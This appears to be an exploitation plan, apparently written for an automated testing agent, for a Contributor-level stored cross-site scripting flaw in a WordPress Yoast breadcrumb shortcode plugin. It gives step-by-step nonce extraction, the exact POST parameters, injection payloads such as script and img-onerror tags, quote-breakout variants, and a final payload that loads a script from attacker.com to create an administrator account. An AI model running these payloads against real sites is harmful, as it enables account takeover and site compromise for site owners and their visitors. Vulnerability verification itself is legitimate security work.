Surbma | Yoast SEO Breadcrumb Shortcode <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

This exploitation research plan outlines the technical steps required to verify the Stored Cross-Site Scripting (XSS) vulnerability in the Surbma | Yoast SEO Breadcrumb Shortcode plugin (version <= 1.2).

---

1. Vulnerability Summary

• Vulnerability: Authenticated (Contributor+) Stored Cross-Site Scripting.
• Location: Shortcode callback function responsible for rendering [surbma-yoast-breadcrumb] (inferred).
• Cause: The plugin registers a shortcode but fails to sanitize or escape the attributes provided by the user before returning them in the HTML output. Since Contributors can create posts and include shortcodes, they can inject malicious scripts into the attributes.

2. Attack Vector Analysis

• Endpoint: /wp-admin/post.php (for post creation/editing) and /index.php (for viewing the post).
• Authentication: Requires Contributor-level credentials.
• Vulnerable Parameter: Shortcode attributes within the post_content parameter (e.g., before, after, or separator).
• Preconditions: Yoast SEO must be installed and active (as the plugin relies on Yoast's breadcrumb functionality), and the breadcrumb feature must be enabled in Yoast settings.

3. Code Flow

1. Registration: The plugin uses add_shortcode( 'surbma-yoast-breadcrumb', 'surbma_yoast_breadcrumb_shortcode' ) (inferred) to register the shortcode.
2. Input: A Contributor saves a post containing: [surbma-yoast-breadcrumb after="<script>alert(1)</script>"].
3. Processing: When the post is viewed, WordPress calls the callback function surbma_yoast_breadcrumb_shortcode($atts).
4. Sink: The callback function likely merges attributes using shortcode_atts() and then concatenates the after or before attribute directly to the output of yoast_breadcrumb( '', '', false ) without calling esc_html() or esc_attr().
5. Execution: The unescaped payload is returned to the WordPress content filter and rendered in the victim's browser.

4. Nonce Acquisition Strategy

While the vulnerability is triggered by rendering, storing the payload requires an authenticated request to create or edit a post. This requires a standard WordPress post-nonce.

1. Login: Authenticate the agent as a Contributor.
2. Access Editor: Use the http_request tool to perform a GET request to wp-admin/post-new.php.
3. Extract Nonce: Use browser_eval or regex on the response body to find the _wpnonce value.
   • Logic: window.wp.apiFetch.nonce or searching the HTML for id="_wpnonce".
4. Alternative: For many modern WP setups, the agent can use the REST API if the Contributor has permissions. The REST API nonce is usually found in the wp-admin source as wpApiSettings.nonce.

5. Exploitation Strategy

The goal is to store a payload that executes when an administrator views the post.

1. Step 1: Authenticated Session: Log in as a Contributor.
2. Step 2: Obtain Post Nonce:
   • GET /wp-admin/post-new.php
   • Extract _wpnonce from the HTML source.
3. Step 3: Inject Payload: Send a POST request to wp-admin/post.php to save a draft containing the XSS.
   • URL: http://[target]/wp-admin/post.php
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Parameters:
     • action: editpost
     • post_ID: [NEW_POST_ID]
     • _wpnonce: [EXTRACTED_NONCE]
     • post_title: XSS Test
     • content: [surbma-yoast-breadcrumb after='<img src=x onerror=alert(document.domain)>']
     • post_status: pending (Contributors cannot publish directly).
4. Step 4: Trigger XSS: Navigate to the post's permalink as an Administrator to trigger the payload.

6. Test Data Setup

1. Users: Create a user with the contributor role.
2. Plugins:
   • Install and activate wordpress-seo (Yoast SEO).
   • Install and activate surbma-yoast-breadcrumb-shortcode version 1.2.
3. Yoast Config: Navigate to Yoast SEO > Settings > Site Structure > Breadcrumbs and toggle "Enable Breadcrumbs" to On.

7. Expected Results

• Storage: The post should be saved successfully with the shortcode content intact.
• Execution: Upon viewing the post, the HTML source should contain:
  <div class="breadcrumb">...</div><img src=x onerror=alert(document.domain)>
• Alert: A JavaScript alert showing the document domain should appear in the browser.

8. Verification Steps (Post-Exploit)

Confirm the payload is stored in the database using WP-CLI:

# Check the content of the latest post created by the contributor
wp post list --post_type=post --author=$(wp user get contributor --field=ID) --format=ids | xargs wp post get --field=post_content

Verify that the output contains the raw <img ...> or <script> tag within the shortcode attributes.

9. Alternative Approaches

• Attribute Breakout: If the plugin wraps the attribute in double quotes, try: [surbma-yoast-breadcrumb separator='"><script>alert(1)</script>'].
• Admin Dashboard XSS: If the breadcrumb shortcode is used within a widget or a site-wide element (like a footer), the XSS will trigger on every page load for the Administrator, including the dashboard. Check if the plugin provides a widget that uses the same callback.
• Payload Variation: Use a CSRF-to-Admin payload to create a new administrator account instead of a simple alert:
  [surbma-yoast-breadcrumb after='<script src="http://attacker.com/exploit.js"></script>']